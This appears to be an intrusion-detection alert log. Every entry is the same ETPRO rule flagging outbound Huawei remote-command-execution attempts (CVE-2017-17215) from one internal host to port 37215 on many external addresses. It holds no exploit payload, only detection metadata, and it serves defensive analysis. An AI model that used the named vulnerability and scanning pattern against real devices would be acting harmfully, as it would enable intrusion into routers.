2024-07-26T17:42:27.003689+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39788	37215	192.168.2.15	41.179.21.207
2024-07-26T17:42:22.856108+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38494	37215	192.168.2.15	157.240.175.32
2024-07-26T17:42:24.287422+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59572	37215	192.168.2.15	197.247.67.99
2024-07-26T17:42:40.497702+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33334	37215	192.168.2.15	197.35.214.62
2024-07-26T17:42:03.751870+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38798	37215	192.168.2.15	180.146.243.119
2024-07-26T17:42:22.896586+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37812	37215	192.168.2.15	157.194.249.71
2024-07-26T17:42:24.511474+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53334	37215	192.168.2.15	197.14.134.65
2024-07-26T17:42:03.751998+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51668	37215	192.168.2.15	41.200.148.42
2024-07-26T17:42:24.509979+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35848	37215	192.168.2.15	157.232.73.119
2024-07-26T17:42:52.051540+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34816	37215	192.168.2.15	41.250.30.37
2024-07-26T17:42:22.831517+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53840	37215	192.168.2.15	41.246.125.122
2024-07-26T17:42:52.052769+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56188	37215	192.168.2.15	157.17.17.92
2024-07-26T17:42:24.287552+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48798	37215	192.168.2.15	157.165.241.7
2024-07-26T17:42:24.511473+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52884	37215	192.168.2.15	197.192.99.218
2024-07-26T17:42:23.645944+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47750	37215	192.168.2.15	106.205.211.61
2024-07-26T17:42:24.323922+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52422	37215	192.168.2.15	123.249.101.104
2024-07-26T17:43:29.172763+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36304	37215	192.168.2.15	41.102.169.112
2024-07-26T17:42:38.336975+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41866	37215	192.168.2.15	157.65.169.133
2024-07-26T17:42:22.856279+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57540	37215	192.168.2.15	197.79.237.252
2024-07-26T17:42:03.752000+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43686	37215	192.168.2.15	197.157.37.218
2024-07-26T17:42:03.751871+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48516	37215	192.168.2.15	157.119.221.61
2024-07-26T17:43:24.352835+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57230	37215	192.168.2.15	197.130.202.70
2024-07-26T17:42:32.923394+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48880	37215	192.168.2.15	41.20.158.239
2024-07-26T17:43:21.924166+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51394	37215	192.168.2.15	161.216.84.102
2024-07-26T17:42:41.860069+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42826	37215	192.168.2.15	41.109.4.1
2024-07-26T17:42:38.375735+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38392	37215	192.168.2.15	157.241.217.201
2024-07-26T17:42:38.337658+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57862	37215	192.168.2.15	41.27.28.243
2024-07-26T17:42:25.234586+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47738	37215	192.168.2.15	206.230.202.67
2024-07-26T17:43:26.508819+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48122	37215	192.168.2.15	157.75.255.109
2024-07-26T17:42:03.752081+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59454	37215	192.168.2.15	197.218.5.147
2024-07-26T17:42:24.327040+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51338	37215	192.168.2.15	106.157.24.127
2024-07-26T17:42:24.317690+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50894	37215	192.168.2.15	41.131.135.94
2024-07-26T17:42:56.988003+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45048	37215	192.168.2.15	157.124.178.141
2024-07-26T17:42:52.053882+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54102	37215	192.168.2.15	157.185.149.12
2024-07-26T17:43:10.503975+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60342	37215	192.168.2.15	41.190.81.16
2024-07-26T17:43:34.473036+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55592	37215	192.168.2.15	128.164.107.88
2024-07-26T17:42:40.528872+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36408	37215	192.168.2.15	41.226.39.89
2024-07-26T17:43:10.556508+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40060	37215	192.168.2.15	41.235.131.144
2024-07-26T17:42:56.991371+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48918	37215	192.168.2.15	157.45.47.161
2024-07-26T17:42:22.977233+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53646	37215	192.168.2.15	24.231.168.41
2024-07-26T17:43:06.795826+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33162	37215	192.168.2.15	2.236.218.5
2024-07-26T17:42:23.275321+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40738	37215	192.168.2.15	157.160.227.147
2024-07-26T17:42:26.999031+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34206	37215	192.168.2.15	41.62.11.62
2024-07-26T17:42:40.663101+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50998	37215	192.168.2.15	41.7.101.214
2024-07-26T17:42:30.815346+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58070	37215	192.168.2.15	157.208.221.110
2024-07-26T17:43:04.601850+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43146	37215	192.168.2.15	197.123.99.30
2024-07-26T17:43:22.506796+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55322	37215	192.168.2.15	157.219.221.179
2024-07-26T17:42:22.894237+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37816	37215	192.168.2.15	197.12.225.63
2024-07-26T17:42:56.988812+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40378	37215	192.168.2.15	197.80.16.141
2024-07-26T17:43:32.175998+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41284	37215	192.168.2.15	32.185.12.224
2024-07-26T17:42:24.179275+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58530	37215	192.168.2.15	218.25.22.207
2024-07-26T17:42:22.892910+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39182	37215	192.168.2.15	197.32.97.173
2024-07-26T17:43:32.159241+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36006	37215	192.168.2.15	163.59.165.186
2024-07-26T17:43:06.728070+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37862	37215	192.168.2.15	163.226.97.244
2024-07-26T17:42:24.256725+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53276	37215	192.168.2.15	41.11.38.33
2024-07-26T17:42:45.674969+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47514	37215	192.168.2.15	41.222.23.172
2024-07-26T17:42:30.726500+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43828	37215	192.168.2.15	41.221.102.175
2024-07-26T17:42:23.149205+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45156	37215	192.168.2.15	197.93.55.208
2024-07-26T17:42:38.992663+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50404	37215	192.168.2.15	41.83.92.49
2024-07-26T17:43:32.157918+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34942	37215	192.168.2.15	157.156.195.59
2024-07-26T17:42:31.133457+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41312	37215	192.168.2.15	213.100.5.155
2024-07-26T17:42:38.992660+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42074	37215	192.168.2.15	70.185.26.197
2024-07-26T17:42:03.751876+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35368	37215	192.168.2.15	41.201.17.178
2024-07-26T17:42:22.901005+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52838	37215	192.168.2.15	41.232.167.103
2024-07-26T17:42:03.751875+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41296	37215	192.168.2.15	41.25.241.90
2024-07-26T17:42:24.287043+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47232	37215	192.168.2.15	197.165.27.168
2024-07-26T17:42:37.553275+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53918	37215	192.168.2.15	41.56.4.197
2024-07-26T17:42:22.988543+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48602	37215	192.168.2.15	41.102.255.32
2024-07-26T17:42:24.287214+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45746	37215	192.168.2.15	157.239.10.81
2024-07-26T17:42:33.140380+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46256	37215	192.168.2.15	41.181.193.229
2024-07-26T17:43:00.381794+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45352	37215	192.168.2.15	197.7.225.229
2024-07-26T17:42:24.301117+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35388	37215	192.168.2.15	41.140.107.15
2024-07-26T17:42:22.882411+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44616	37215	192.168.2.15	149.76.30.6
2024-07-26T17:42:24.287856+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48258	37215	192.168.2.15	197.11.115.242
2024-07-26T17:42:58.929134+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54730	37215	192.168.2.15	41.126.69.128
2024-07-26T17:42:22.939719+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35580	37215	192.168.2.15	41.119.153.117
2024-07-26T17:42:22.851199+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56802	37215	192.168.2.15	41.103.19.122
2024-07-26T17:42:23.602210+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43328	37215	192.168.2.15	197.98.34.184
2024-07-26T17:42:54.108108+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57108	37215	192.168.2.15	197.91.19.41
2024-07-26T17:43:27.150044+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35532	37215	192.168.2.15	49.51.195.161
2024-07-26T17:42:24.294250+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48372	37215	192.168.2.15	41.68.254.14
2024-07-26T17:42:24.314164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54158	37215	192.168.2.15	157.114.119.40
2024-07-26T17:43:00.683809+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40098	37215	192.168.2.15	219.5.156.99
2024-07-26T17:43:02.508884+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60630	37215	192.168.2.15	79.58.175.126
2024-07-26T17:42:23.545202+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50666	37215	192.168.2.15	41.98.163.146
2024-07-26T17:42:24.315912+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47652	37215	192.168.2.15	197.185.42.136
2024-07-26T17:43:12.316377+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43596	37215	192.168.2.15	157.81.229.144
2024-07-26T17:43:24.642635+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57276	37215	192.168.2.15	197.23.152.128
2024-07-26T17:42:22.900619+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53240	37215	192.168.2.15	197.1.219.105
2024-07-26T17:42:38.373747+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52500	37215	192.168.2.15	157.83.67.17
2024-07-26T17:42:52.051589+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53596	37215	192.168.2.15	157.71.129.80
2024-07-26T17:43:19.217704+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58464	37215	192.168.2.15	197.105.62.98
2024-07-26T17:42:24.287386+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52368	37215	192.168.2.15	100.55.79.58
2024-07-26T17:42:03.751962+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35630	37215	192.168.2.15	41.174.85.211
2024-07-26T17:42:30.737301+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42754	37215	192.168.2.15	197.247.185.128
2024-07-26T17:42:40.413453+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55800	37215	192.168.2.15	157.33.31.149
2024-07-26T17:43:22.545985+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40954	37215	192.168.2.15	157.126.151.188
2024-07-26T17:43:06.849990+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45576	37215	192.168.2.15	41.51.125.96
2024-07-26T17:42:03.751791+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49236	37215	192.168.2.15	72.97.140.160
2024-07-26T17:42:38.374387+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55604	37215	192.168.2.15	197.206.248.22
2024-07-26T17:42:46.352590+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43118	37215	192.168.2.15	201.64.179.107
2024-07-26T17:42:03.752001+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53628	37215	192.168.2.15	157.33.225.141
2024-07-26T17:42:23.195595+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53312	37215	192.168.2.15	112.234.47.50
2024-07-26T17:42:35.371539+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44732	37215	192.168.2.15	203.47.62.174
2024-07-26T17:42:40.508501+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38608	37215	192.168.2.15	157.243.168.49
2024-07-26T17:43:04.722046+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35848	37215	192.168.2.15	41.128.66.66
2024-07-26T17:42:23.375667+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49070	37215	192.168.2.15	137.233.56.245
2024-07-26T17:43:10.559828+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52402	37215	192.168.2.15	197.148.102.156
2024-07-26T17:43:06.644205+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36036	37215	192.168.2.15	171.55.129.35
2024-07-26T17:42:22.944107+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49132	37215	192.168.2.15	157.6.72.247
2024-07-26T17:42:23.054845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43642	37215	192.168.2.15	157.130.223.218
2024-07-26T17:42:22.963256+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59738	37215	192.168.2.15	157.60.145.81
2024-07-26T17:43:26.551133+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46002	37215	192.168.2.15	138.28.99.233
2024-07-26T17:43:32.154781+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56376	37215	192.168.2.15	40.39.152.50
2024-07-26T17:42:24.287467+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34038	37215	192.168.2.15	41.140.89.175
2024-07-26T17:42:24.287595+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33722	37215	192.168.2.15	35.0.100.220
2024-07-26T17:43:32.173820+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37874	37215	192.168.2.15	157.136.190.153
2024-07-26T17:42:33.042697+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38730	37215	192.168.2.15	197.19.17.33
2024-07-26T17:42:51.609064+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50856	37215	192.168.2.15	41.109.14.180
2024-07-26T17:43:32.317143+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55208	37215	192.168.2.15	125.110.221.76
2024-07-26T17:42:52.051458+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47638	37215	192.168.2.15	157.45.159.210
2024-07-26T17:42:23.379714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38850	37215	192.168.2.15	202.201.192.159
2024-07-26T17:42:56.351153+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50364	37215	192.168.2.15	41.200.103.112
2024-07-26T17:42:23.037958+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56274	37215	192.168.2.15	197.102.130.238
2024-07-26T17:43:32.176089+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44444	37215	192.168.2.15	197.1.136.46
2024-07-26T17:42:56.990706+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46810	37215	192.168.2.15	153.165.94.27
2024-07-26T17:42:24.293059+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45806	37215	192.168.2.15	101.21.16.213
2024-07-26T17:42:24.179292+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35326	37215	192.168.2.15	157.196.46.101
2024-07-26T17:43:10.500954+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46022	37215	192.168.2.15	157.74.205.49
2024-07-26T17:42:47.925389+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60940	37215	192.168.2.15	41.203.142.252
2024-07-26T17:42:54.104305+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33434	37215	192.168.2.15	41.50.8.107
2024-07-26T17:42:24.287042+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50956	37215	192.168.2.15	153.15.187.13
2024-07-26T17:42:22.848943+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47726	37215	192.168.2.15	157.131.83.80
2024-07-26T17:42:22.859475+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37242	37215	192.168.2.15	41.143.15.18
2024-07-26T17:42:24.302989+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48720	37215	192.168.2.15	157.51.89.254
2024-07-26T17:42:52.051416+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44004	37215	192.168.2.15	41.16.27.201
2024-07-26T17:42:03.751831+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34650	37215	192.168.2.15	197.226.205.85
2024-07-26T17:42:37.657528+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55560	37215	192.168.2.15	157.223.221.123
2024-07-26T17:43:04.861870+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47946	37215	192.168.2.15	41.140.32.146
2024-07-26T17:43:22.185652+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38764	37215	192.168.2.15	197.168.72.2
2024-07-26T17:42:27.000927+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53690	37215	192.168.2.15	81.235.78.84
2024-07-26T17:42:56.990919+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32874	37215	192.168.2.15	41.170.149.230
2024-07-26T17:42:32.923596+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40660	37215	192.168.2.15	157.128.239.158
2024-07-26T17:42:32.927145+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40074	37215	192.168.2.15	197.174.15.225
2024-07-26T17:42:40.644350+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41618	37215	192.168.2.15	197.153.251.205
2024-07-26T17:42:22.852003+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43240	37215	192.168.2.15	157.99.99.134
2024-07-26T17:42:03.752052+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50902	37215	192.168.2.15	41.232.108.103
2024-07-26T17:42:44.139346+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52906	37215	192.168.2.15	157.176.96.186
2024-07-26T17:42:56.281857+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49604	37215	192.168.2.15	157.203.95.24
2024-07-26T17:42:24.317186+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60922	37215	192.168.2.15	197.162.249.163
2024-07-26T17:42:30.811966+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38428	37215	192.168.2.15	41.243.165.185
2024-07-26T17:42:22.862975+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55412	37215	192.168.2.15	157.144.55.235
2024-07-26T17:42:24.287646+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54418	37215	192.168.2.15	172.114.80.126
2024-07-26T17:42:22.851193+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33114	37215	192.168.2.15	197.30.1.118
2024-07-26T17:42:54.213653+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35404	37215	192.168.2.15	157.179.166.250
2024-07-26T17:43:24.299160+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39274	37215	192.168.2.15	151.71.194.23
2024-07-26T17:42:32.910259+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38342	37215	192.168.2.15	41.51.180.248
2024-07-26T17:42:03.751966+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55554	37215	192.168.2.15	157.29.11.215
2024-07-26T17:42:22.878195+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46688	37215	192.168.2.15	197.43.30.179
2024-07-26T17:43:06.796928+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52444	37215	192.168.2.15	197.5.58.57
2024-07-26T17:42:24.803531+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52480	37215	192.168.2.15	86.12.52.246
2024-07-26T17:42:38.562210+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35302	37215	192.168.2.15	41.47.63.84
2024-07-26T17:42:22.960183+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50154	37215	192.168.2.15	41.116.64.233
2024-07-26T17:42:44.230369+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41276	37215	192.168.2.15	157.253.227.205
2024-07-26T17:42:52.054187+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42398	37215	192.168.2.15	197.120.137.83
2024-07-26T17:42:24.312752+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43424	37215	192.168.2.15	49.29.129.149
